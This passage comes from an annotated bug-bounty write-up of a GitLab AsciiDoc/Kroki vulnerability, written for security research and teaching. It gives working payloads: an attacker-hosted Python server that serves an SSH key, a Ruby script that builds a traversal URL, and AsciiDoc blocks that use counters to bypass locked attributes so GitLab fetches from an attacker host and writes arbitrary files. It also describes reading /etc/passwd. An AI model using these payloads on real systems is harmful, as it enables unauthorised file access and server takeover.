/// python3 this_script.py <port>is a note saying how to start the script: with Python 3, passing a port number.from http.server import BaseHTTPRequestHandler, HTTPServerandimport loggingbring in Python's built-in web server tools and its logging tools.class S(BaseHTTPRequestHandler):defines a handler, the piece of code that decides what to answer when a request arrives.def _set_response(self):is a small helper that prepares a standard reply.self.send_response(200)sends the HTTP status code 200, which means "OK".self.send_header('Content-type', 'text/html')says the reply body is HTML text.self.end_headers()finishes the reply headers. Headers are the small labels that come before the body of a web reply.def do_GET(self):is what runs when the server receives a GET request, the kind a browser sends when it asks for a page.logging.info(...)writes the requested path and the request headers to the log, so the researcher can see what GitLab asked for.self._set_response()sends the standard OK reply.self.wfile.write(b"ssh-rsa ...")writes the reply body: an SSH public key. An SSH public key is the public half of a pair of keys used to log in to servers without a password; the matching private half stays with its owner. The email-like part at the end has been redacted here.def do_POST(self):handles POST requests, the kind used to send data to a server.content_length = int(self.headers['Content-Length'])reads how many bytes of data are coming.post_data = self.rfile.read(content_length)reads exactly that many bytes.logging.info(...)logs the path, headers and body.self._set_response()andself.wfile.write(...)send back a short confirmation message.def run(...)starts the server:logging.basicConfig(level=logging.INFO)turns on logging,server_address = ('[redacted]', port)listens on all network interfaces on the chosen port,httpd = server_class(server_address, handler_class)creates the server, andhttpd.serve_forever()keeps it running until interrupted.- The final
if __name__ == '__main__':block reads the port from the command line if one was given, and otherwise uses the default.
The server answers every GET with the same body, the SSH public key.
- Note the URL and edit the following script to create a SHA256 of the URL:
require 'digest'
require 'base64'
require 'zlib'
string = "http://[redacted]:8082/plantuml/../../../../../../tmp/test_file_write.txt/eNpLzkksLlZwyslPzg4oyk9OLS7OL-[redacted]=="
p "diag-#{Digest::SHA256.hexdigest test = string}"
Line by line:
require 'digest'loads Ruby's hashing tools. A hash is a short fingerprint computed from some data: the same input always gives the same fingerprint, and it is practically impossible to work backwards from the fingerprint to the input.require 'base64'andrequire 'zlib'load the same encoding and compression tools as before.string = "..."builds the URL. It starts with the attacker's server address and port, then aplantumlpath, then a traversal sequence../../../../../../that climbs out of the intended folder, then/tmp/test_file_write.txt, the file the researcher wants to create, and finally the base64 diagram value copied in step 2.p "diag-#{Digest::SHA256.hexdigest test = string}"computes the SHA256 fingerprint of that string and prints it withdiag-in front. SHA256 is one particular hashing method. The script prints the SHA256 of the URL with adiag-prefix.
- Create a wiki page in
asciidoctorformat with the following payload for the first time, replacingdiag-**.withdiag-<output_previous>.and taking note of the trailing.:
[#goals]
:imagesdir: diag-[redacted].
:outdir: /tmp/
[plantuml, test="{counter:kroki-fetch-diagram:true}",tet="{counter:kroki-server-url:http://[redacted]:8082/}", format="/../../../../../../tmp/test_file_write.txt"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock
BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....
Line by line:
[#goals]is the identifier label again.:imagesdir: diag-[redacted].sets the image directory to a name starting withdiag-and ending with a dot. This name starts withdiag-and ends with a dot.:outdir: /tmp/sets the output directory to/tmp/.[plantuml, test="{counter:kroki-fetch-diagram:true}",tet="{counter:kroki-server-url:http://[redacted]:8082/}", format="/../../../../../../tmp/test_file_write.txt"]is the key line.test="{counter:kroki-fetch-diagram:true}"switches the locked fetch feature back on.tet="{counter:kroki-server-url:http://[redacted]:8082/}"sets the Kroki server address to the attacker's server.format="/../../../../../../tmp/test_file_write.txt"supplies a path that climbs out of the intended folder and ends at the file to create.- The
....block and theclasslines are the same diagram as before.
Save, then render.
- Repeat the previous step with this payload:
[#goals]
:imagesdir: diag-[redacted].
:outdir: /tmp/
[plantuml, test="{counter:kroki-fetch-diagram:true}",tet="{counter:kroki-server-url:http://[redacted]:8082/}", format="/../../../../../../tmp/test_file_write.txt"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock
BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....
Save, then render again. The payload is identical to the previous one; the second render is part of the sequence that produces the file.
- The researcher reports being able to write to any file, verifiable by navigating to the file through the GitLab instance.
Root cause
The locked settings kroki-plantuml-include! and kroki-fetch-diagram! are meant to be impossible to set from a document, but the counter function assigns straight into the settings list without honouring the lock. A document can therefore give either setting any value through {counter:...} and read it back with a bare {counter:...} reference. The payload also sets kroki-server-url through a counter reference.
With kroki-plantuml-include switched back on, the PlantUML include feature reads a local file and places its contents into the diagram source, which is then encoded into the image URL. With kroki-fetch-diagram switched back on, GitLab fetches the diagram from the attacker's server and saves it to the local filesystem, and the format setting together with imagesdir and outdir decide the path, including the traversal sequences. The existing defence, the exclamation mark lock in the default settings, is bypassed because it only guards the normal way of setting a value, not the counter way.
Impact
The researcher states the impact as file read and write access and remote code execution. File read exposes local files such as /etc/passwd to anyone who can view the rendered page. File write lets an attacker place arbitrary content at an arbitrary path on the GitLab host, which the researcher used to write an SSH public key, and which the researcher describes as leading to remote code execution. Both require the ability to create an AsciiDoc wiki page on a GitLab instance with Kroki enabled; the write additionally requires the attacker to run a reachable server that GitLab will contact as the Kroki server.
Fix
The report does not describe the fix that was applied.
Variants to test
- Try
{counter:...}against other locked settings in the same Asciidoctor integration, such as include-related settings, and check whether the value takes effect in the rendered output. - Try setting
kroki-server-urlon its own and observe whether GitLab contacts the attacker's host, which confirms the server address is controlled by the document. - Try other diagram types (Ditaa, PlantUML) with the same counter payloads to see whether the include and fetch paths behave the same.
- Try different
format,imagesdirandoutdircombinations to see how much of the write path is attacker-controlled.
Hunting notes
This kind of bug hides where a product embeds a third-party renderer and tries to disable dangerous features by setting locked attributes. During recon, look for integrations that document disabled features (comments in configuration files are a strong signal) and check whether any other attribute mechanism, such as counters, can set them. A positive result is a rendered page whose output contains local file content or whose image URL points at an attacker-controlled host. The researcher demonstrated impact by recovering /etc/passwd from the image URL and by writing a file to a chosen path and reaching it through GitLab.
Glossary
- AsciiDoc: a plain-text format for writing documents with headings, lists, code and diagrams, which a program converts into a web page.
- Asciidoctor: the program that reads AsciiDoc text and turns it into HTML.
- Attribute: a named setting in AsciiDoc, written as a name and a value, that changes how the document is rendered.
- Locked attribute: an attribute whose name ends in
!, which a document is not supposed to be able to set. - Counter: an AsciiDoc feature, written
{counter:name}, that keeps a running number or value under a name; it can also be given a starting value. - Kroki: an external service that turns text descriptions of diagrams into images.
- PlantUML: a text language for describing diagrams, such as class diagrams, which Kroki can draw.
- Ditaa: another text-to-diagram language supported by Kroki.
- Wiki page: a page inside a project that team members can create and edit, separate from the code files.
- Base64: an encoding that turns arbitrary bytes into letters, digits and a few symbols, so the data can be placed safely in a URL or a text field.
- URL-safe base64: a variant of base64 that uses characters which are allowed in web addresses.
- zlib: a compression method that shrinks data; the diagram definition is compressed with it before being encoded.
- SHA256: a hashing method that turns any input into a fixed-length fingerprint.
- Hash: a fingerprint computed from data, used here to build a predictable file name.
- Path traversal: a path containing
../sequences that climb out of the intended folder and reach other locations on disk. /etc/passwd: a standard file on Linux systems that lists user accounts; reading it is a common way to prove file read./tmp: a standard temporary folder on Linux systems.- SSH public key: the public half of a key pair used to log in to servers without a password; the matching private half stays with its owner.
- Remote code execution (RCE): the ability to make a server run commands chosen by the attacker.
- GET request: a request a browser or program sends to ask a web server for something.
- POST request: a request that sends data to a web server.
- HTTP status code: a number in a web reply saying what happened, such as 200 for OK.
- Header: a small label sent with a web request or reply, such as the content type.
- Server: a computer program that answers requests from other computers over a network.
- Port: a numbered channel on a computer that a server listens on, so several services can run at once.
- Recon: the early stage of a security test where you look around a product to find interesting features and weaknesses.